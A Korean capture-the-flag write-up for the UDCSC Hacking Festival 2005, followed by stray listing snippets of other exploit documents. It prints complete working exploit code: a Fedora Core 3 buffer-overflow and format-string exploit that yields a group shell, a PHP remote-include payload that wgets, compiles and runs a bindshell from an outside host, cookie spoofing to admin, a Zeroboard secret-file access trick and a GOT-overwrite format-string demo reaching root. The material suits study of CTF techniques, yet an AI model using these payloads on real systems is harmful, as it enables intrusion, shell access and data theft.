UDCSC Hacking Festival 2005

Size: px
Start display at page:

Download "UDCSC Hacking Festival 2005"

Transcription

1 UDCSC Hacking Festival 2005 작성자 : 유동훈 목차 0x00: 소개인사 0x01: Level1 문제 0x02: Level2 문제 0x03: Level3 문제 0x04: Level4 문제 0x05: Level5 문제 0x06: Level6 문제 0x07: 후기 0x00: 소개인사 안녕하세요. 이렇게만나뵙게되어서반갑습니다. 이번이벤트를주최해주신여러분들께진심으로감사드리는바입니다. 준비한문서내용이많이부족할지모릅니다. 아무쪼록잘봐주시기바랍니다. 그럼, 본문으로들어가도록하겠습니다.

2 0x01: Level1 문제 윈도우 CrackMe.exe 프로그램을다운로드받아풀어야하는있는리버싱문제로써크랙에대한지식이있어야풀수있는문제로보입니다. 해당프로그램은 level1의패스워드와다른레벨문제힌트를함께담고있습니다. 우선 Ollydbg를다운로드받아준비하고있을때쯤 (?) CrackMe2.exe (BETA 판?) 가다시올라왔습니다. 프로그램을다운로드받아실행해보니, 쉽게 level1의패스워드를뱉어내어매우당황했습니다. ( 허거걱 ) 어쨌든쉽게 level2 서버로접속할수있었습니다. 여담이지만, 레벨 3 까지 level1 프로그램도움없이쉽게해결할수있었습니다. ( 뭐.. 약간의뻘짓이면가능합니다 ) IP 대역이붙어있어서서버를유추하는데그리어렵지 않았습니다. level2 접속힌트 : level3 접속힌트 : ( 안보고때려서접속했습니다..;;) level4 접속힌트 : ( 예상하는곳에있을줄알았지만 -_- 없었습니다, 앗.. 이런 ) 이러면안되겠다싶어결국, 다시 level1 프로그램을훑기로했습니다. 이미, level2와 level3에대한문자열을얻어놓은상태였기때문에, 다른힌트코드역시쉽게분석이가능했습니다. 다만, 원본파일 ( 처음에올라왔던 CrackMe.exe) 만을분석하고있었기때문에나중에올라온 (CrackMe2.exe) 프로그램과다른지전혀모르고있다가낭패를보았습니다. CrackMe2.exe 은 0x address 부근부터암호문자열구조에맞는패스워드를작성하는 코드를볼수있습니다. MOVSX 레지스터,BYTE PTR DS:[ 레지스터 + 값 ] 위의연산을통해패스워드문자값을작성하는데, 잘보면다음의문자열구조를참조하는것을 알수있습니다. ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz:/.~ 위문자열구조를통해각몇번째원소값인지유추할수있습니다. 각값과매칭시켜보면, ( 간단히 C 로작성할수있었음 )

3 ... a-0x7e, b-0x7f, c-0x80, d-0x81, e-0x82, f-0x83, g-0x84, h-0x85, i-0x86, j-0x87, k-0x88, l-0x89, m-0x8a, n-0x8b, o-0x8c, p-0x8d, q-0x8e, r-0x8f, s-0x90, t-0x91, u-0x92, v-0x93, w-0x94, x-0x95, y-0x96, z-0x97, :-0x98, /-0x99,.-0x9a, ~-0x9b, 0-0x9c, 1-0x9d, 2-0x9e, 3-0x9f, 4-0xa0, 5-0xa1, 6-0xa2, 7-0xa3, 8-0xa4, 9-0xa5... 각문자열값을얻어내어다음과같은원본문자열을얻어올수있습니다. level1 disassemble 내용 : B55 FC MOV EDX,DWORD PTR SS:[EBP-4] FBE82 9B00000>MOVSX EAX,BYTE PTR DS:[EDX+9B] ; ~ PUSH EAX B4D FC MOV ECX,DWORD PTR SS:[EBP-4] FBE >MOVSX EDX,BYTE PTR DS:[ECX+98] ; : B. 52 PUSH EDX C. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] F. 0FBE88 9B00000>MOVSX ECX,BYTE PTR DS:[EAX+9B] ; ~ PUSH ECX B55 FC MOV EDX,DWORD PTR SS:[EBP-4] A. 0FBE >MOVSX EAX,BYTE PTR DS:[EDX+85] ; h PUSH EAX B4D FC MOV ECX,DWORD PTR SS:[EBP-4] FBE91 8D00000>MOVSX EDX,BYTE PTR DS:[ECX+8D] ; p C. 52 PUSH EDX D. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] FBE48 7E MOVSX ECX,BYTE PTR DS:[EAX+7E] ; a PUSH ECX B55 FC MOV EDX,DWORD PTR SS:[EBP-4] FBE82 8F00000>MOVSX EAX,BYTE PTR DS:[EDX+8F] ; r F. 50 PUSH EAX B4D FC MOV ECX,DWORD PTR SS:[EBP-4] FBE >MOVSX EDX,BYTE PTR DS:[ECX+84] ; g

4 A. 52 PUSH EDX B. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] E. 0FBE88 8C00000>MOVSX ECX,BYTE PTR DS:[EAX+8C] ; o PUSH ECX B55 FC MOV EDX,DWORD PTR SS:[EBP-4] FBE >MOVSX EAX,BYTE PTR DS:[EDX+91] ; t PUSH EAX B4D FC MOV ECX,DWORD PTR SS:[EBP-4] FBE >MOVSX EDX,BYTE PTR DS:[ECX+88] ; k B. 52 PUSH EDX C. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] F. 0FBE >MOVSX ECX,BYTE PTR DS:[EAX+80] ; c A6. 51 PUSH ECX A7. 8B55 FC MOV EDX,DWORD PTR SS:[EBP-4] AA. 0FBE42 7E MOVSX EAX,BYTE PTR DS:[EDX+7E] ; a AE. 50 PUSH EAX AF. 8B4D FC MOV ECX,DWORD PTR SS:[EBP-4] B2. 0FBE91 8F00000>MOVSX EDX,BYTE PTR DS:[ECX+8F] ; r B9. 52 PUSH EDX BA. 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] BD. 0FBE >MOVSX ECX,BYTE PTR DS:[EAX+80] ; c C4. 51 PUSH ECX C B00 PUSH 2CrackMe.005B2330 ; ASCII "level1 password : %c%c%c%c%c%c%c%c%c%c%c%c%c%c%c"... 결과적으로분석된내용 : level1 패스워드 : cracktograph~:~ ( 원래패스워드에서뒤에특수문자 3글자가추가되었음 ) level2 접속힌트 : level3 접속힌트 : level4 접속힌트 : level5 접속힌트 : level6 접속힌트 :

5 0x02: Level2 문제 Fedora core 3 환경에서 overflow + format string exploit 을시도하는문제입니다. 힌트웹으로 접속하면다음과같은정보를줍니다. login localhost:22 ID : guest PASS : DHF2005 해당정보를통해서버에 local 접속하였습니다. 일반적인 FC3 공격방법이통하는것같아 다음과같은공격 method 를준비하였습니다. 우선, buffer overflow를통해 1032byte 후나타나는 ebp를 execl의인자값포인터 - 8 값으로채우고 ret 부분을 execl+3 ( 프롤로그가끝나는시점 ) 로채웁니다. 일반적인공격방법대로라면, execl의인자값포인터부분의값을심볼릭링크로걸어넣어도공격을성공할수있습니다만, 조금더편하게쉘을실행하기위해 format string 기법을이용하였습니다. 아마도제가생각하는방법이문제출제자의의도중하나가아닐까생각되네요. 또한, NULL 값입력이용이하도록프로그램이 scanf() 를사용하더군요 ~ ^^ [execl의인자값 1로쓰일주소코드 ] [execl의인자값 2로쓰일주소코드 ] [execl의인자값 3으로쓰일주소코드 ] /* execl의요구인자값이세개이므로, 세번에덮어씀 */ [ 인자값 1에대한포맷스트링코드 ] /* "/bin/csh" 의위치로덮어씌움 */ [ 인자값 2에대한포맷스트링코드 ] /* "/bin/csh의위치로덮어씌움 */ [ 인자값 3에대한포맷스트링코드 ] /* NULL로덮어씌움 */ [ 나머지 1032byte의잉여공간을채우기위한코드 ] [execl의인자값포인터주소에서 8을뺀주소코드 ] [execl+3의주소코드 ]

6 간단히공격 method에대해설명하자면, 포맷스트링공격을통해총세번의주소값코드를덮어씌웁니다. [ - double format string exploit 이공격은 RTL을위해각필요한 address 값을덮어씌우거나, shellcode 자체를실행가능한메모리영역에덮어씌우는데매우유용한방법을제공합니다. 덮어씌우는세개의주소값은 execl() 함수가필요로하는 3가지인자값으로사용하기위해서입니다. 실행할프로그램의인자를 "/bin/csh" 로덮어쓰는이유는 "/bin/sh" 를한번에실행할경우 group 권한을얻지못하기때문입니다. setreuid() 와 setregid() 를수행후 "/bin/sh" 를실행하기위해 symlink 작업과정을거쳐야하지만, 곧바로 "/bin/csh" 을덮어씌우면이과정을거치지않고도 group 권한의쉘획득이가능합니다. 우선, 공통으로사용하는동적 libc 라이브러리에 "/bin/sh" 문자열과 "/bin/csh" 문자열이 있는것을확인할수있습니다. [guest@target1 level2_solv]$ ldd level2 libc.so.6 => /lib/tls/libc.so.6 (0x00b98000) /lib/ld-linux.so.2 (0x00b7f000) [guest@target1 level2_solv]$ strings /lib/tls/libc.so.6 grep -e '/bin/sh /bin/csh' /bin/sh /bin/csh [guest@target1 level2_solv]$ /lib/tls/libc.so.6 라이브러리를사용하고있는것을볼수있으며, 프로그램실행시배치될것을 예상하여, 위주소들을얻어오면됩니다. [guest@target1 level2_solv]$ objdump -s /lib/tls/libc.so.6 grep -e '/bin/sh csh' caf600 2d63002f 62696e2f c./bin/sh.exit cb0890 2f f f c6c73 /csh./etc/shells [guest@target1 level2_solv]$

7 이렇게얻게된정보를토대로프로그램내에실행후배치된위치를확인해볼수있습니다. level2_solv]$ gdb -q level2 (no debugging symbols found)...using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) r Starting program: /var/tmp/level2_solv/level2 (no debugging symbols found)...(no debugging symbols found)...x x Program exited normally. (gdb) x/s 0xcaf603 0xcaf603 < libc_ptyname1+2172>: (gdb) x/s 0xcb088c 0xcb088c < libc_ptyname1+6917>: (gdb) "/bin/sh" "/bin/csh" exploit에서는 "/bin/csh" 주소인 0xcb088c를이용하도록합니다. 그다음 execl+3을덮어씌우는공격코드는이전에해커스쿨대회에서유진호님께서선보이셨던방법입니다. 우선, execl+3을해주는이유는프롤로그과정을거치기때문에 %ebp를 push 후, %esp가 %ebp에덮어씌워져손상되는일을막기위해서입니다. 그래서과정을생략한 execl+3 부분으로점프합니다. 그리고, 첫번째인자값포인터에서 -8 을빼는이유는 execl() 에서내부적으로 execve() 를 호출하는데, 이때실행하는첫번째프로그램인자 ("/bin/csh") 를 %ebp 의 +8 위치에서얻어오기 때문입니다. 이를조금더자세히확인해보면, (gdb) disass execve Dump of assembler code for function execve: 0x00c21490 <execve+0>: push %ebp 0x00c21491 <execve+1>: mov %esp,%ebp 0x00c21493 <execve+3>: sub $0x8,%esp 0x00c21496 <execve+6>: mov %ebx,(%esp) 0x00c21499 <execve+9>: mov 0xc(%ebp),%ecx

8 0x00c2149c <execve+12>: call 0x00c214a1 <execve+17>: add 0x00c214a7 <execve+23>: mov 0x00c214ab <execve+27>: mov 0x00c214ae <execve+30>: mov 0x00c214b1 <execve+33>: xchg 0x00c214b3 <execve+35>: mov 0xbacc71 < i686.get_pc_thunk.bx> $0x99b53,%ebx %edi,0x4(%esp) 0x10(%ebp),%edx 0x8(%ebp),%edi %ebx,%edi $0xb,%eax 잘살펴보면, %eax에 $0xb ( NR_execve) 를넣고 %edi에 %ebp+8 위치값 (0x8(%ebp)) 을넣은후, 나중에 %ebx에 exchange(xchg %bx,%edi) 명령을통해교환하는것을볼수있습니다. %ecx에는 %ebp+12 위치값 (0xc(%ebp)) 을넣고, %edx에는 %ebp+16의위치값 (0x10(%ebp)) 을넣는것을확인하였습니다. 결론적으로우리가 execl+3 을불러올때사용하는 ebp 의 +8 는첫번째인자의위치가되고, +12 는두번째인자가되며 +16 은세번째인자의위치가됩니다. 지금까지공격코드에서왜 execl+3 의위치를덮어씌우고첫번째인자값의포인터에서 -8 을빼는지도알아봤습니다. 위의작업을수월하게성공시키기위해다음과같은 fmt_t.c 를 작성하였습니다. /* ** format string overwite test sploit */ #include <stdio.h> int main() { int i=0; char x[800]= // 0x804958c (execl() arguments pointer) " x8c x95 x04 x08 x8e x95 x04 x08" " x90 x95 x04 x08 x92 x95 x04 x08" " x94 x95 x04 x08 x96 x95 x04 x08"

9 ; } "%%2164x%%8$n%%63551x%%9$n" // 0xcb088c (/bin/csh) "%%1985x%%10$n%%63551x%%11$n" // 0xcb088c (/bin/csh) "%%65333x%%12$n%%65536x%%13$n" // 0 (NULL) printf(x); for(i=0;i<1032-strlen(x)+12/* '%' value */;i++) { printf("x"); } printf("aaaa"); fflush(stdout); 컴파일후, 코드를실행시킨결과입니다. [guest@target1 level2_solv]$ gcc -o fmt_t fmt_t.c [guest@target1 level2_solv]$./fmt_t > res [guest@target1 level2_solv]$ gdb -q level2 (no debugging symbols found)...using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) r < res... Program received signal SIGSEGV, Segmentation fault. 0x00bace00 in libc_start_main () from /lib/tls/libc.so.6 (gdb) x/x 0x c 0x804958c <_DYNAMIC+144>: 0x00cb088c <--- execl 첫번째프로그램인자 (gdb) 0x <_DYNAMIC+148>: 0x00cb088c <--- execl 두번째인자 (gdb) 0x <_DYNAMIC+152>: 0x <--- execl 세번째인자 (gdb) 포맷스트링공격코드를이용해덮어씌운결과, 정확히원하는주소에 "/bin/csh" 주소가 덮어씌워진것을볼수있었습니다. 다음은이렇게완성된최종적인공격 exploit 코드입니다.

10 /* ** It's real sploit */ #include <stdio.h> #include <unistd.h> /* [XXXXXXXX XXXXXXXX][arguments pointer - 8][execl+3] arguments pointer: 0x c (gdb) x 0x c 0x804958c <_DYNAMIC+144>: 0x00cb088c (execl argument 1) (gdb) 0x <_DYNAMIC+148>: 0x00cb088c (execl argument 2) (gdb) 0x <_DYNAMIC+152>: 0x (execl argument 3) */ int main(int argc,char *argv[]) { int i; unsigned long args_ptr=0x c; /* 0xc21723 <execl+3>: 0x57104d8d */ unsigned long execl_3=0x00c21723; /* objdump -s /lib/tls/libc.so.6 grep "csh" cb0890 2f f f c6c73 /csh./etc/shells "/bin/csh" address is 0xcb088c */ unsigned long shell=0xcb088c; unsigned char atk_head[1024]; unsigned char atk_buf[256]; unsigned char buf[4096]; int a,b,c,d,e,f; a=b=c=d=e=f=0;

11 memset((char *)atk_head,0,sizeof(atk_head)); memset((char *)atk_buf,0,sizeof(atk_buf)); memset((char *)buf,0,sizeof(buf)); /* execl argument 1 */ *(long *)&atk_head[0]=args_ptr+0; *(long *)&atk_head[4]=args_ptr+2; /* execl argument 2 */ *(long *)&atk_head[8]=args_ptr+4; *(long *)&atk_head[12]=args_ptr+6; /* execl argument 3 */ *(long *)&atk_head[16]=args_ptr+8; *(long *)&atk_head[20]=args_ptr+10; /* execl argument 1 */ a=(shell&0x0000ffff)>>0; b=(0x10000+((shell&0xffff0000)>>16))-a; /* execl argument 2 */ c=((shell&0x0000ffff)>>0)-((shell&0xffff0000)>>16); d=(0x10000+((shell&0xffff0000)>>16))-a; /* execl argument 3 */ e=(0x10000+((0x &0x0000ffff)>>0))-((shell&0xffff0000)>>16); f=(0x10000+((0x &0xffff0000)>>16))-0; printf("%s" "%%%ux%%8$n%%%ux%%9$n" "%%%ux%%10$n%%%ux%%11$n" "%%%ux%%12$n%%%ux%%13$n",atk_head,a-strlen(atk_head),b,c,d,e,f); for(i=0;i<940;i++) { printf("x"); }

12 } *(long *)&atk_buf[0]=args_ptr-8; /* arguments pointer - 8 */ *(long *)&atk_buf[4]=execl_3; printf("%s",atk_buf); fflush(stdout); 실행결과, level2 gid 권한을얻을수있었습니다. [guest@target1 level2_solv]$ (./x00;cat) /home/guest/level cXXXXXXXX... 생략...XXXXX#? id uid=501(guest) gid=501(guest) egid=502(level2) groups=501(guest) context=user_u: system_r:unconfined_t 해당 level2 의패스워드는, "It is No Fake~!" 입니다.

13 0x03: Level3 문제 힌트웹페이지에접속하면, 다음화면을볼수있습니다. 인자값은쉽게유추할수있었으며, PHP Injection 공격을통해쉘을얻을수있습니다. hahahaha level 3 is What?? parameter dir is. 공격요청 URL: level3.php?dir= 공격자주소 / 공격자의서버에는 include.php 파일을작성하여공격할수있으며, 올바른공격을위해 apache httpd.conf 설정에서 php 확장자지원을주석처리하여 PHP 문법실행을일시적으로 봉쇄한후실행했습니다. <??> passthru("cd /tmp ; wget 패킷스톰 /bindshell.c ; gcc -o bindshell bindshell.c ;./bindshell"); 번포트로열리는 bindshell 을 tmp 디렉토리에다운로드받아컴파일후실행하여 접속할수있었습니다. level3 의패스워드는, "Keep, Kep, Ke" 입니다.

14 0x04: Level4 문제 일반적인쿠키스푸핑취약점문제입니다. 인증창을로그인후웹브라우저에서 javascript:document.cookie 문법을통해먼저쿠키값을확인하였습니다. guest id로로그인하면, user_id=guest로 Set-Cookie 되는데, 이를 level4로변경하면, level4의권한으로웹을볼수있습니다. 별다른것이없음을확인하고, user_id=admin으로재접속하니 level4의패스워드정보를얻을수있었습니다. 공격요청코드 : GET HTTP/1.0 Cookie: user_id=admin level4 의패스워드는 "Serialized by myself~!" 입니다.

15 0x05: Level5 문제 zboard 게시판주소 : 제로보드최신버전에는또다른곳에취약점이존재합니다. iframe exploit이라하여, XSS script 태그를대신하여공격할수있습니다. 이는제로보드자체가공격자에의한세션취약점을차단하는알고리즘을사용하고있기에고안된공격방법입니다. [ - GET, POST method iframe exploit 해당방법으로공격을시도했지만, 운영자가쪽지함에접속하지않아결과적으론공격이실패했습니다. 하지만, 쪽지함에접속했다면, 메시지를읽지않아도 iframe이수행되기때문에 remote 공격을통해 shell을획득할수있습니다. level6 remote exploit 과정없이도해당서버에접속할수있었을것으로생각됩니다. 문제출제자의의도대로제로보드에잠재된취약점이라하여 view.php, _head.php, 순서대로분석 하고, 첨부파일관련알고리즘역시간단하게훑어봤습니다. 공격의시나리오는생각보다간단했습니다. 우선, 자신의글을작성하여파일을첨부한후, 그해당파일을읽을때 URL을기억한후, 게시판번호인자값만비밀글주소로변경해주면, 일반사용자도비밀글에첨부된파일을쉽게읽을수있게됩니다. 비밀글이나관리자가 upload 하는자료일지라도동일한웹서버권한으로파일이올라가기때문에첨부파일의경로가다른사용자에게알려지면비공개자료가유출될수있는문제점이라할수있습니다. 우선, 위에서잠시설명한대로, 제로보드자체는세션을 IP로인증합니다. 그래서접속중인 IP가변경되면, 곧바로세션을 unset 합니다. 보유중인 proxy 서버를통하여웹상에서미리로그인하였습니다. 간단한네트워크 sniffing을통해 packet을 capture한후, 게시판번호인자값을비밀글 ( 공지글 ) 의번호로변경하였습니다. 자, 이제 proxy 서버에서직접조작한데이터내용을보냅니다.

16 GET off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=3&filenum=1 HTTP/1.0 Referer: s=on&sc=on&select_arrange=headnum&desc=asc&no=3 Accept-Language: ko Proxy-Connection: Keep-Alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: Cookie: zb_s_check=8_20; PHPSESSID=8e92ecfbd1e95ff fc19f0015b 위내용대로요청하면, 해당게시판비밀글에첨부된파일의경로가출력됩니다. 경로를추출하여웹에서접속하면 level5의패스워드정보를얻을수있습니다. 추출한첨부파일경로 URL level5 의패스워드는 "Find my liberty!" 입니다.

17 0x06: Level6 문제 웹주소로접속하면, id와 passwd를입력할수있는입력창이나옵니다. 프로그램은 POST 방식으로인자가전달되며, format string 취약점이존재하고있는것을예상할수있었습니다. %8x로스택안의내용을살펴본결과, 공격시덮어쓸수있는횟수를제한하기위해구성한것같아보였습니다. ( 단지추측 ) 입력하는맨앞의문자열 12byte 공간을이용하여 exploit 하는방향으로정했습니다. 사실, HTTP 환경변수를크게넣어보니, 출력되는것을볼수는있었습니다만, 랜덤스택환경이기때문에공격확률면에서크게떨어질것으로생각되어시도해보진않았습니다. 먼저, 시도하려는공격에대해간단히설명드리겠습니다. 해당 exploit method 는덮어쓰려는각 address 주소를알고있다면, 원격공격상에선매우 유리한방법중하나입니다. 다음예제를보면, int main(int argc,char *argv[]) { char buf[256]; strcpy(buf,argv[1]); printf(buf); printf("id"); } 해당소스코드는공격이가능하다는것을보이기위해간단히작성한내용입니다. 우선첫번째 printf 함수호출시, format string 취약점이발생합니다. 해당함수의실행구조에대해알아보기위해추상적으로설명해보겠습니다.

18 * 프로그램상에서 printf 함수가처음으로실행되었을때 : 1. printf 함수실행 2. printf 함수 PLT 수행 3. printf 함수 GOT (PLT push 명령을가리킴 ) 점프. 4. dl-resolve ( 인자값으로 push 명령인자가들어감 ) 호출, GOT에는공유라이브러리실제주소설정됨. 5. 공유라이브러리내의함수실행 * 프로그램상에서 printf 함수가두번째로실행되었을때 : 1. printf 함수실행 2. printf 함수 PLT 3. 첫번째실행시, 설정된 GOT 를참조하여공유라이브러리내의 printf 함수실행 이러한실행구조를갖는이유는여러가지가있습니다. 사용상이점으로메모리, 디스크자원절약및재차코드수정작업개발에용이하도록하기위함입니다. 어쨌든, 포맷스트링취약점이있는 printf 함수를통한비교적쉬운인자실행방법이존재합니다. 그이유는 printf 인자값자체가명령으로쓰일수있기때문입니다. 첫번째 printf 함수실행시, 포맷스트링공격코드의내용은당연히 printf GOT 주소를 system 라이브러리주소로변경하는내용이될것입니다. 그렇게되면, GOT의정보를사실대로믿는프로그램은당연히 printf 함수대신 system 함수를실행하게될것이고, 실제두번째 printf 함수실행시, printf의인자값으로쓰이는 "id" 스트링자체가명령코드로실행되어버리는일이발생합니다. 즉, 결과적으로 system("id"); 명령을실행하게되는것입니다. #./vuln `printf " xcc x94 x04 x08 xce x94 x04 x08"`%33112x%1 $n %48805x%2 $n.. 생략 uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) #

19 제가생각하는공격 method 로는공격의성공가능성이있는지정확하지않습니다. 시스템내에작성된프로그램환경에매우의존적으로동작하기때문입니다. printf 함수가여러번실행된다면, 충분히공격은가능할것입니다. 얼마전 wowhacker 대회에서도비슷한원격 format string 취약점문제가출제된것이있는데이방법으로 exploit을해결할수있습니다. ( 포맷스트링공격코드뒤에 system 함수인자로들어갈시스템명령을넣어줌 ) 공격에는몇가지난관이있습니다. 우선, printf GOT 를 brute-force 과정을통해 +4 씩 증가시켜대입하여찾아냅니다. 문제는 format string 으로덮어씌우는 system() address 가 정확하지않다는것입니다. 힌트를통해 PLT, GOT 정보나공유라이브러리 address 를알았다면, 공격에한층더 유리해졌겠지만 개인적인사정때문에프로그램을충분히분석해보지못해서그런지몰라도.. ^^ 위의값들이전부주어졌다해도또다른난관에부딪혔을수도있겠군요..;; 프로그램내의 printf() 함수수행횟수에따라서도공격성공여부가결정되니까요. 0x07: 후기 지난주말, 음주와회사의과중한 (?) 업무로인해많은시간을할애하지못한관계로최선을다하지못한것이끝내아쉽습니다. 한동안이러한이벤트에참여하지않다가막상접해보니많이헤매게되더군요. 물론이쪽연구를소홀히한탓이지만이번회사업무가끝나면열중하여다시연구해야겠다는생각이들었습니다. ^^ 사실저에게는 Fedora 시스템대한정보나사전지식이전혀없었습니다. 대회당일시스템을 처음으로다루어보게되었는데역시나보안이강화된시스템이라그런진몰라도여러가지 예상하지못한제약사항이다수존재하더군요. 아직도의아한부분이구석구석보입니다. 제로보드와같은문제는참신하기도했지만, PHP Injection 이나 Cookie 를이용한일반적인공격 방법은푸는사람으로하여금조금더응용을발휘하도록유도했으면더좋지않았나싶습니다. 아마도이벤트기간이더길었다면, 제공되는힌트도체계적으로주어지지않았을까싶네요. 이번이벤트를주최해주신여러분들께다시한번진심으로감사드리는바입니다. 수고하셨습니다.

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow

More information

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx #include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의

More information

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard Level 4 ( hell_fire -> evil_wizard ) [hell_fire@fedora_1stfloor ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting

More information

hlogin2

hlogin2 0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS

More information

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

Reusing Dynamic Linker For Exploitation Author :  Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn Reusing Dynamic Linker For Exploitation Author : pwn3r @ B10S @WiseGuyz Date : 2012 / 05 / 13 Contact : austinkwon2@gmail.com Facebook : fb.me/kwonpwn3r Abstract 대부분의 Unix 에선공유라이브러리를메모리에로드하고프로그램과 link

More information

PowerPoint Template

PowerPoint Template BoF 원정대서비스 목차 환경구성 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&no=1170881885 전용게시판 http://www.hackerschool.org/hs_boards/zboard.php?id=bof_fellowship Putty War game 2 LOB 란? 해커스쿨에서제공하는

More information

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

02.Create a shellcode that executes /bin/sh Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes /bin/sh C 02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C language Assembly code Change permissions(seteuid())

More information

Deok9_Exploit Technique

Deok9_Exploit Technique Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security

More information

Fedora Core 3,4,5 stack overflow.docx

Fedora Core 3,4,5 stack overflow.docx Fedora Core 3,4,5 stack overflow - www.hackerschool.org - - by randomkid - +------------------------------ 목차 ----------------------------------+ 1. 스택오버플로우의역사 2. 커널 2.4 에서의 stack overflow 방법 (shellcode

More information

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서 커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드

More information

Microsoft Word - readme.doc

Microsoft Word - readme.doc ========================================================= 제 1 회광주과기원정보통신공학과 SW 경진대회 (Hacking 경진대회 ) 대회시작 : 2002 년 8 월 8 일 ( 목 ) 오후 9:00 ( 한국시간, GMT+9:00) 대회종료 : 2002 년 8 월 10 일 ( 토 ) 오후 9:00 ( 한국시간, GMT+9:00)

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

hlogin7

hlogin7 0x07. Return Oriented Programming ROP? , (DEP, ASLR). ROP (Return Oriented Programming) (excutable memory) rop. plt, got got overwrite RTL RTL Chain DEP, ASLR gadget Basic knowledge plt, got call function

More information

Microsoft Word - FunctionCall

Microsoft Word - FunctionCall Function all Mechanism /* Simple Program */ #define get_int() IN KEYOARD #define put_int(val) LD A val \ OUT MONITOR int add_two(int a, int b) { int tmp; tmp = a+b; return tmp; } local auto variable stack

More information

강의10

강의10 Computer Programming gdb and awk 12 th Lecture 김현철컴퓨터공학부서울대학교 순서 C Compiler and Linker 보충 Static vs Shared Libraries ( 계속 ) gdb awk Q&A Shared vs Static Libraries ( 계속 ) Advantage of Using Libraries Reduced

More information

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770> 기술문서 09. 11. 3. 작성 Format String Bug 에서 dtors 우회 작성자 : 영남대학교 @Xpert 박병규 preex@ynu.ac.kr 1. 요약... 2 2. d to r 이란... 3 3. 포맷스트링... 4 4. ro o t 권한획득... 7 5. 참고자료... 1 0-1 - 1. 요약 포맷스트링버그 (Format String bug)

More information

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO 01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - POP; POP; POP; RET PLT & GOT Debug Proof of concept Example

More information

CKKeyPro 적용가이드

CKKeyPro 적용가이드 3.20 사이버테러악성코드분석보고서 라온시큐어보안기술연구팀 작성일 : 2013. 03 페이지 : 1/15 Introduction 2013년 3월 20일오후, MBC, KBS, YTN, 농협, 신한은행, 제주은행전산망장애가동시에발생하였다. 피해기관들의호스트약 500여대에오류메시지가화면에나타났으며악성코드에감염된호스트는사용할수없는상태가되었다. 현재까지정확한침투경로가밝혀지지않고있다.

More information

EDB 분석보고서 (04.06) ~ Exploit-DB(http://exploit-db.com) 에공개된별로분류한정보입니다. Directory Traversal users-x.php 4.0 -support-x.php 4.0 time-

